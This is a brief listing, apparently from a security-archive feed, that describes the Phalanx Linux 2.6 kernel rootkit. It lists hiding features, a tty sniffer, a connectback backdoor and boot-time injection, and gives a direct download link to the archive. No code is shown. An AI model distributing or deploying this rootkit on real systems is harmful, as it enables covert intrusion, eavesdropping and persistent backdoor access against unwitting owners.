Phalanx is a self-injecting kernel rootkit designed for the Linux 2.6 branch that does not use the now-disabled /dev/kmem device. Features include file hiding, process hiding, socket hiding, a tty sniffer, a tty connectback-backdoor, and auto injection on boot.
You can download it from the following link: https://packetstormsecurity.com/files/download/42556/phalanx-b6.tar.bz2
Source: https://packetstormsecurity.com/files/42556/phalanx-b6.tar.bz2.html

